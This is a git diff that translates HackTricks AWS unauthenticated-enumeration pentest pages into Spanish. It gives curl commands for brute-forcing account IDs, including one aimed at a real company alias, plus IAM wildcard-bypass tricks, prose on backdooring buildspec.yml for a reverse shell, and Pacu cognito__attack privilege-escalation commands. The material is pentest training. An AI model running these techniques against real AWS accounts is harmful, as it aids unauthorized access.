de Redshift**](aws-redshift-unauthenticated-enum.md) +- [**Acceso No Autenticado de SQS**](aws-sqs-unauthenticated-enum.md) +- [**Acceso No Autenticado de S3**](aws-s3-unauthenticated-enum.md) -## Cross Account Attacks +## Ataques entre Cuentas -In the talk [**Breaking the Isolation: Cross-Account AWS Vulnerabilities**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) it's presented how some services allow(ed) any AWS account accessing them because **AWS services without specifying accounts ID** were allowed. +En la charla [**Rompiendo la Aislamiento: Vulnerabilidades de AWS entre Cuentas**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) se presenta cómo algunos servicios permitieron que cualquier cuenta de AWS accediera a ellos porque **los servicios de AWS sin especificar ID de cuentas** estaban permitidos. -During the talk they specify several examples, such as S3 buckets **allowing cloudtrai**l (of **any AWS** account) to **write to them**: +Durante la charla especifican varios ejemplos, como los buckets de S3 **permitiendo cloudtrail** (de **cualquier cuenta de AWS**) **escribir en ellos**: ![](<../../../images/image (260).png>) -Other services found vulnerable: +Otros servicios encontrados vulnerables: - AWS Config -- Serverless repository +- Repositorio Serverless -## Tools +## Herramientas -- [**cloud_enum**](https://github.com/initstring/cloud_enum): Multi-cloud OSINT tool. **Find public resources** in AWS, Azure, and Google Cloud. Supported AWS services: Open / Protected S3 Buckets, awsapps (WorkMail, WorkDocs, Connect, etc.) +- [**cloud_enum**](https://github.com/initstring/cloud_enum): Herramienta OSINT multi-nube. **Encuentra recursos públicos** en AWS, Azure y Google Cloud. Servicios de AWS soportados: Buckets S3 Abiertos / Protegidos, awsapps (WorkMail, WorkDocs, Connect, etc.) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md index 84c70ed0e..ffd5c3244 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md @@ -2,14 +2,13 @@ {{#include ../../../banners/hacktricks-training.md}} -## Account IDs +## IDs de Cuenta -If you have a target there are ways to try to identify account IDs of accounts related to the target. +Si tienes un objetivo, hay formas de intentar identificar los IDs de cuenta de cuentas relacionadas con el objetivo. -### Brute-Force - -You create a list of potential account IDs and aliases and check them +### Fuerza Bruta +Creas una lista de posibles IDs de cuenta y alias y los verificas. ```bash # Check if an account ID exists curl -v https://.signin.aws.amazon.com @@ -17,33 +16,28 @@ curl -v https://.signin.aws.amazon.com ## It also works from account aliases curl -v https://vodafone-uk2.signin.aws.amazon.com ``` - -You can [automate this process with this tool](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). +Puedes [automatizar este proceso con esta herramienta](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). ### OSINT -Look for urls that contains `.signin.aws.amazon.com` with an **alias related to the organization**. +Busca URLs que contengan `.signin.aws.amazon.com` con un **alias relacionado con la organización**. ### Marketplace -If a vendor has **instances in the marketplace,** you can get the owner id (account id) of the AWS account he used. +Si un vendedor tiene **instancias en el marketplace,** puedes obtener el id del propietario (id de cuenta) de la cuenta de AWS que utilizó. ### Snapshots -- Public EBS snapshots (EC2 -> Snapshots -> Public Snapshots) -- RDS public snapshots (RDS -> Snapshots -> All Public Snapshots) -- Public AMIs (EC2 -> AMIs -> Public images) +- Snapshots públicos de EBS (EC2 -> Snapshots -> Public Snapshots) +- Snapshots públicos de RDS (RDS -> Snapshots -> All Public Snapshots) +- AMIs públicas (EC2 -> AMIs -> Public images) ### Errors -Many AWS error messages (even access denied) will give that information. +Muchos mensajes de error de AWS (incluso acceso denegado) proporcionarán esa información. ## References - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md index 5a69bebe0..892c651f2 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md @@ -2,59 +2,51 @@ {{#include ../../../banners/hacktricks-training.md}} -### API Invoke bypass - -According to the talk [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), Lambda Authorizers can be configured **using IAM syntax** to give permissions to invoke API endpoints. This is taken [**from the docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): +### Bypass de invocación de API +Según la charla [Vectores de ataque para APIs utilizando AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), los Lambda Authorizers se pueden configurar **usando la sintaxis de IAM** para otorgar permisos para invocar puntos finales de API. Esto se toma [**de la documentación**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Permission", - "Action": ["execute-api:Execution-operation"], - "Resource": [ - "arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path" - ] - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Permission", +"Action": ["execute-api:Execution-operation"], +"Resource": [ +"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path" +] +} +] } ``` +El problema con esta forma de dar permisos para invocar endpoints es que el **"\*" implica "cualquier cosa"** y **no se admite más sintaxis regex**. -The problem with this way to give permissions to invoke endpoints is that the **"\*" implies "anything"** and there is **no more regex syntax supported**. +Algunos ejemplos: -Some examples: - -- A rule such as `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` in order to give each user access to `/dashboard/user/{username}` will give them access to other routes such as `/admin/dashboard/createAdmin` for example. +- Una regla como `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` para dar acceso a cada usuario a `/dashboard/user/{username}` les dará acceso a otras rutas como `/admin/dashboard/createAdmin`, por ejemplo. > [!WARNING] -> Note that **"\*" doesn't stop expanding with slashes**, therefore, if you use "\*" in api-id for example, it could also indicate "any stage" or "any method" as long as the final regex is still valid.\ -> So `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ -> Can validate a post request to test stage to the path `/prod/GET/dashboard/admin` for example. +> Tenga en cuenta que **"\*" no deja de expandirse con barras**; por lo tanto, si usa "\*" en api-id, por ejemplo, también podría indicar "cualquier etapa" o "cualquier método" siempre que la regex final siga siendo válida.\ +> Así que `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ +> Puede validar una solicitud POST para la etapa de prueba en la ruta `/prod/GET/dashboard/admin`, por ejemplo. -You should always have clear what you want to allow to access and then check if other scenarios are possible with the permissions granted. +Siempre debe tener claro qué desea permitir que acceda y luego verificar si otros escenarios son posibles con los permisos otorgados. -For more info, apart of the [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), you can find code to implement authorizers in [**this official aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints). +Para más información, aparte de la [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), puede encontrar código para implementar autorizadores en [**este github oficial de aws**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints). -### IAM Policy Injection +### Inyección de Políticas IAM -In the same [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE)it's exposed the fact that if the code is using **user input** to **generate the IAM policies**, wildcards (and others such as "." or specific strings) can be included in there with the goal of **bypassing restrictions**. - -### Public URL template +En la misma [**charla**](https://www.youtube.com/watch?v=bsPKk7WDOnE) se expone el hecho de que si el código está utilizando **entrada del usuario** para **generar las políticas IAM**, se pueden incluir comodines (y otros como "." o cadenas específicas) con el objetivo de **eludir restricciones**. +### Plantilla de URL pública ``` https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} ``` +### Obtener ID de cuenta desde la URL pública de API Gateway -### Get Account ID from public API Gateway URL +Al igual que con los buckets de S3, Data Exchange y las URL de Lambda, es posible encontrar el ID de cuenta de una cuenta abusando de la **`aws:ResourceAccount`** **Policy Condition Key** desde una URL pública de API Gateway. Esto se hace encontrando el ID de cuenta un carácter a la vez abusando de comodines en la sección **`aws:ResourceAccount`** de la política.\ +Esta técnica también permite obtener **valores de etiquetas** si conoces la clave de la etiqueta (hay algunas predeterminadas interesantes). -Just like with S3 buckets, Data Exchange and Lambda URLs gateways, It's possible to find the account ID of an account abusing the **`aws:ResourceAccount`** **Policy Condition Key** from a public API Gateway URL. This is done by finding the account ID one character at a time abusing wildcards in the **`aws:ResourceAccount`** section of the policy.\ -This technique also allows to get **values of tags** if you know the tag key (there some default interesting ones). - -You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation. +Puedes encontrar más información en la [**investigación original**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) y la herramienta [**conditional-love**](https://github.com/plerionhq/conditional-love/) para automatizar esta explotación. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md index 0284e2514..c522fe848 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md @@ -2,14 +2,8 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Plantilla de URL pública ``` https://{random_id}.cloudfront.net ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md index d95410a62..43d13d227 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md @@ -1,10 +1,10 @@ -# AWS - CodeBuild Unauthenticated Access +# AWS - Acceso No Autenticado a CodeBuild {{#include ../../../banners/hacktricks-training.md}} ## CodeBuild -For more info check this page: +Para más información, consulta esta página: {{#ref}} ../aws-services/aws-codebuild-enum.md @@ -12,28 +12,22 @@ For more info check this page: ### buildspec.yml -If you compromise write access over a repository containing a file named **`buildspec.yml`**, you could **backdoor** this file, which specifies the **commands that are going to be executed** inside a CodeBuild project and exfiltrate the secrets, compromise what is done and also compromise the **CodeBuild IAM role credentials**. +Si comprometes el acceso de escritura sobre un repositorio que contiene un archivo llamado **`buildspec.yml`**, podrías **insertar un backdoor** en este archivo, que especifica los **comandos que se van a ejecutar** dentro de un proyecto de CodeBuild y exfiltrar los secretos, comprometer lo que se hace y también comprometer las **credenciales del rol IAM de CodeBuild**. -Note that even if there isn't any **`buildspec.yml`** file but you know Codebuild is being used (or a different CI/CD) **modifying some legit code** that is going to be executed can also get you a reverse shell for example. +Ten en cuenta que incluso si no hay ningún archivo **`buildspec.yml`** pero sabes que se está utilizando Codebuild (o un CI/CD diferente), **modificar algún código legítimo** que se va a ejecutar también puede conseguirte un shell reverso, por ejemplo. -For some related information you could check the page about how to attack Github Actions (similar to this): +Para más información relacionada, podrías consultar la página sobre cómo atacar Github Actions (similar a esto): {{#ref}} ../../../pentesting-ci-cd/github-security/abusing-github-actions/ {{#endref}} -## Self-hosted GitHub Actions runners in AWS CodeBuild - -As [**indicated in the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), It's possible to configure **CodeBuild** to run **self-hosted Github actions** when a workflow is triggered inside a Github repo configured. This can be detected checking the CodeBuild project configuration because the **`Event type`** needs to contain: **`WORKFLOW_JOB_QUEUED`** and in a Github Workflow because it will select a **self-hosted** runner like this: +## Runners de GitHub Actions autoalojados en AWS CodeBuild +Como [**se indica en la documentación**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), es posible configurar **CodeBuild** para ejecutar **acciones de Github autoalojadas** cuando se activa un flujo de trabajo dentro de un repositorio de Github configurado. Esto se puede detectar revisando la configuración del proyecto de CodeBuild porque el **`Tipo de evento`** necesita contener: **`WORKFLOW_JOB_QUEUED`** y en un flujo de trabajo de Github porque seleccionará un runner **autoalojado** como este: ```bash runs-on: codebuild--${{ github.run_id }}-${{ github.run_attempt }} ``` - -This new relationship between Github Actions and AWS creates another way to compromise AWS from Github as the code in Github will be running in a CodeBuild project with an IAM role attached. +Esta nueva relación entre Github Actions y AWS crea otra forma de comprometer AWS desde Github, ya que el código en Github se ejecutará en un proyecto de CodeBuild con un rol IAM adjunto. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md index 6f26f3a34..ce573c3a2 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md @@ -2,51 +2,43 @@ {{#include ../../../banners/hacktricks-training.md}} -## Unauthenticated Cognito +## Cognito No Autenticado -Cognito is an AWS service that enable developers to **grant their app users access to AWS services**. Developers will grant **IAM roles to authenticated users** in their app (potentially people willbe able to just sign up) and they can also grant an **IAM role to unauthenticated users**. +Cognito es un servicio de AWS que permite a los desarrolladores **otorgar a los usuarios de su aplicación acceso a los servicios de AWS**. Los desarrolladores otorgarán **roles de IAM a los usuarios autenticados** en su aplicación (potencialmente las personas podrán simplemente registrarse) y también pueden otorgar un **rol de IAM a los usuarios no autenticados**. -For basic info about Cognito check: +Para información básica sobre Cognito consulta: {{#ref}} ../aws-services/aws-cognito-enum/ {{#endref}} -### Identity Pool ID +### ID de Pool de Identidad -Identity Pools can grant **IAM roles to unauthenticated users** that just **know the Identity Pool ID** (which is fairly common to **find**), and attacker with this info could try to **access that IAM rol**e and exploit it.\ -Moreoever, IAM roles could also be assigned to **authenticated users** that access the Identity Pool. If an attacker can **register a user** or already has **access to the identity provider** used in the identity pool you could access to the **IAM role being given to authenticated** users and abuse its privileges. +Los Pools de Identidad pueden otorgar **roles de IAM a usuarios no autenticados** que solo **conocen el ID del Pool de Identidad** (lo cual es bastante común **encontrar**), y un atacante con esta información podría intentar **acceder a ese rol de IAM** y explotarlo.\ +Además, los roles de IAM también podrían ser asignados a **usuarios autenticados** que acceden al Pool de Identidad. Si un atacante puede **registrar un usuario** o ya tiene **acceso al proveedor de identidad** utilizado en el pool de identidad, podría acceder al **rol de IAM otorgado a los usuarios autenticados** y abusar de sus privilegios. -[**Check how to do that here**](../aws-services/aws-cognito-enum/cognito-identity-pools.md). +[**Consulta cómo hacer eso aquí**](../aws-services/aws-cognito-enum/cognito-identity-pools.md). -### User Pool ID +### ID de Pool de Usuarios -By default Cognito allows to **register new user**. Being able to register a user might give you **access** to the **underlaying application** or to the **authenticated IAM access role of an Identity Pool** that is accepting as identity provider the Cognito User Pool. [**Check how to do that here**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). +Por defecto, Cognito permite **registrar nuevos usuarios**. Poder registrar un usuario podría darte **acceso** a la **aplicación subyacente** o al **rol de acceso IAM autenticado de un Pool de Identidad** que acepta como proveedor de identidad el Pool de Usuarios de Cognito. [**Consulta cómo hacer eso aquí**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). -### Pacu modules for pentesting and enumeration +### Módulos de Pacu para pentesting y enumeración -[Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc. +[Pacu](https://github.com/RhinoSecurityLabs/pacu), el marco de explotación de AWS, ahora incluye los módulos "cognito\_\_enum" y "cognito\_\_attack" que automatizan la enumeración de todos los activos de Cognito en una cuenta y marcan configuraciones débiles, atributos de usuario utilizados para el control de acceso, etc., y también automatizan la creación de usuarios (incluido el soporte de MFA) y la escalada de privilegios basada en atributos personalizados modificables, credenciales de pool de identidad utilizables, roles asumibles en tokens de id, etc. -For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. +Para una descripción de las funciones de los módulos, consulta la parte 2 de la [entrada del blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Para instrucciones de instalación, consulta la página principal de [Pacu](https://github.com/RhinoSecurityLabs/pacu). -#### Usage - -Sample `cognito__attack` usage to attempt user creation and all privesc vectors against a given identity pool and user pool client: +#### Uso +Ejemplo de uso de `cognito__attack` para intentar la creación de usuarios y todos los vectores de privesc contra un pool de identidad y cliente de pool de usuarios dados: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` - -Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account: - +Ejemplo de uso de cognito\_\_enum para recopilar todos los grupos de usuarios, clientes de grupos de usuarios, grupos de identidades, usuarios, etc. visibles en la cuenta de AWS actual: ```bash Pacu (new:test) > run cognito__enum ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md index 004a92c2b..c50e6be9a 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md @@ -2,14 +2,8 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Plantilla de URL pública ``` .cluster-..docdb.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md index e9e7fa8e4..d59429c57 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md @@ -1,19 +1,15 @@ -# AWS - DynamoDB Unauthenticated Access +# AWS - Acceso No Autenticado a DynamoDB {{#include ../../../banners/hacktricks-training.md}} ## Dynamo DB -For more information check: +Para más información, consulta: {{#ref}} ../aws-services/aws-dynamodb-enum.md {{#endref}} -Apart from giving access to all AWS or some compromised external AWS account, or have some SQL injections in an application that communicates with DynamoDB I'm don't know more options to access AWS accounts from DynamoDB. +Aparte de dar acceso a todas las cuentas de AWS o a alguna cuenta externa de AWS comprometida, o tener algunas inyecciones SQL en una aplicación que se comunica con DynamoDB, no conozco más opciones para acceder a cuentas de AWS desde DynamoDB. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md index 657bf7f3a..04fbe7fd8 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md @@ -2,17 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -## EC2 & Related Services +## EC2 y Servicios Relacionados -Check in this page more information about this: +Consulta en esta página más información sobre esto: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### Public Ports +### Puertos Públicos -It's possible to expose the **any port of the virtual machines to the internet**. Depending on **what is running** in the exposed the port an attacker could abuse it. +Es posible exponer **cualquier puerto de las máquinas virtuales a internet**. Dependiendo de **lo que esté corriendo** en el puerto expuesto, un atacante podría abusar de ello. #### SSRF @@ -20,10 +20,9 @@ It's possible to expose the **any port of the virtual machines to the internet** https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} -### Public AMIs & EBS Snapshots - -AWS allows to **give access to anyone to download AMIs and Snapshots**. You can list these resources very easily from your own account: +### AMIs Públicas y Snapshots de EBS +AWS permite **dar acceso a cualquiera para descargar AMIs y Snapshots**. Puedes listar estos recursos muy fácilmente desde tu propia cuenta: ```bash # Public AMIs aws ec2 describe-images --executable-users all @@ -38,11 +37,9 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo aws ec2 describe-snapshots --restorable-by-user-ids all aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")' ``` +Si encuentras un snapshot que es restaurable por cualquier persona, asegúrate de consultar [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) para obtener instrucciones sobre cómo descargar y saquear el snapshot. -If you find a snapshot that is restorable by anyone, make sure to check [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) for directions on downloading and looting the snapshot. - -#### Public URL template - +#### Plantilla de URL pública ```bash # EC2 ec2-{ip-seperated}.compute-1.amazonaws.com @@ -50,15 +47,8 @@ ec2-{ip-seperated}.compute-1.amazonaws.com http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443 https://{user_provided}-{random_id}.{region}.elb.amazonaws.com ``` - -### Enumerate EC2 instances with public IP - +### Enumerar instancias de EC2 con IP pública ```bash aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md index 2febbed62..2a242d111 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md @@ -4,35 +4,27 @@ ## ECR -For more information check: +Para más información, consulta: {{#ref}} ../aws-services/aws-ecr-enum.md {{#endref}} -### Public registry repositories (images) - -As mentioned in the ECS Enum section, a public registry is **accessible by anyone** uses the format **`public.ecr.aws//`**. If a public repository URL is located by an attacker he could **download the image and search for sensitive information** in the metadata and content of the image. +### Repositorios de registro público (imágenes) +Como se mencionó en la sección de Enum de ECS, un registro público es **accesible por cualquier persona** y utiliza el formato **`public.ecr.aws//`**. Si un atacante localiza una URL de repositorio público, podría **descargar la imagen y buscar información sensible** en los metadatos y el contenido de la imagen. ```bash aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text ``` - > [!WARNING] -> This could also happen in **private registries** where a registry policy or a repository policy is **granting access for example to `"AWS": "*"`**. Anyone with an AWS account could access that repo. +> Esto también podría suceder en **registros privados** donde una política de registro o una política de repositorio está **otorgando acceso, por ejemplo, a `"AWS": "*"`**. Cualquiera con una cuenta de AWS podría acceder a ese repositorio. -### Enumerate Private Repo - -The tools [**skopeo**](https://github.com/containers/skopeo) and [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) can be used to list accessible repositories inside a private registry. +### Enumerar Repositorio Privado +Las herramientas [**skopeo**](https://github.com/containers/skopeo) y [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) se pueden usar para listar los repositorios accesibles dentro de un registro privado. ```bash # Get image names skopeo list-tags docker:// | grep -oP '(?<=^Name: ).+' crane ls | sed 's/ .*//' ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md index 8d0b02ba2..22b8a3d33 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md @@ -4,16 +4,15 @@ ## ECS -For more information check: +Para más información, consulta: {{#ref}} ../aws-services/aws-ecs-enum.md {{#endref}} -### Publicly Accessible Security Group or Load Balancer for ECS Services - -A misconfigured security group that **allows inbound traffic from the internet (0.0.0.0/0 or ::/0)** to the Amazon ECS services could expose the AWS resources to attacks. +### Grupo de Seguridad o Balanceador de Carga Accesible Públicamente para Servicios de ECS +Un grupo de seguridad mal configurado que **permite tráfico entrante desde internet (0.0.0.0/0 o ::/0)** a los servicios de Amazon ECS podría exponer los recursos de AWS a ataques. ```bash # Example of detecting misconfigured security group for ECS services aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]' @@ -21,9 +20,4 @@ aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contain # Example of detecting a publicly accessible load balancer for ECS services aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]' ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md index 3a73a7328..033cc72d2 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md @@ -4,38 +4,32 @@ ## Elastic Beanstalk -For more information check: +Para más información, consulta: {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} -### Web vulnerability +### Vulnerabilidad web -Note that by default Beanstalk environments have the **Metadatav1 disabled**. +Ten en cuenta que, por defecto, los entornos de Beanstalk tienen **Metadatav1 deshabilitado**. -The format of the Beanstalk web pages is **`https://-env..elasticbeanstalk.com/`** +El formato de las páginas web de Beanstalk es **`https://-env..elasticbeanstalk.com/`** -### Insecure Security Group Rules +### Reglas de grupo de seguridad inseguras -Misconfigured security group rules can expose Elastic Beanstalk instances to the public. **Overly permissive ingress rules, such as allowing traffic from any IP address (0.0.0.0/0) on sensitive ports, can enable attackers to access the instance**. +Las reglas de grupo de seguridad mal configuradas pueden exponer las instancias de Elastic Beanstalk al público. **Reglas de ingreso excesivamente permisivas, como permitir tráfico desde cualquier dirección IP (0.0.0.0/0) en puertos sensibles, pueden permitir a los atacantes acceder a la instancia**. -### Publicly Accessible Load Balancer +### Balanceador de carga accesible públicamente -If an Elastic Beanstalk environment uses a load balancer and the load balancer is configured to be publicly accessible, attackers can **send requests directly to the load balancer**. While this might not be an issue for web applications intended to be publicly accessible, it could be a problem for private applications or environments. +Si un entorno de Elastic Beanstalk utiliza un balanceador de carga y el balanceador de carga está configurado para ser accesible públicamente, los atacantes pueden **enviar solicitudes directamente al balanceador de carga**. Si bien esto puede no ser un problema para aplicaciones web destinadas a ser accesibles públicamente, podría ser un problema para aplicaciones o entornos privados. -### Publicly Accessible S3 Buckets +### Cubos S3 accesibles públicamente -Elastic Beanstalk applications are often stored in S3 buckets before deployment. If the S3 bucket containing the application is publicly accessible, an attacker could **download the application code and search for vulnerabilities or sensitive information**. - -### Enumerate Public Environments +Las aplicaciones de Elastic Beanstalk a menudo se almacenan en cubos S3 antes de la implementación. Si el cubo S3 que contiene la aplicación es accesible públicamente, un atacante podría **descargar el código de la aplicación y buscar vulnerabilidades o información sensible**. +### Enumerar entornos públicos ```bash aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table ``` 